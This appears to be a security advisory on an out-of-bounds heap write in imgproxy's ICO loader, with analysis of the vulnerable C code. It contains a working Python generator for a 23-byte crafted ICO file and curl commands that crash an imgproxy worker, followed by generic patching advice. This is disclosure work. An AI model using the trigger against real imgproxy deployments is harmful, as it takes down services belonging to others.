Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).
In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:
uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated
uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated
if ((num_colors == 0) && (bpp <= 8))
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;
int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer
height = height / 2;
With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).
# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA' # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
# HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
# Go panic dump → exit code 2. One request, one dead worker.
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)
Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.
| Software | Affected versions |
|---|---|
github.com/imgproxy/imgproxy/v3
|
>= 3.3.0, < 4.0.17 |
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
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Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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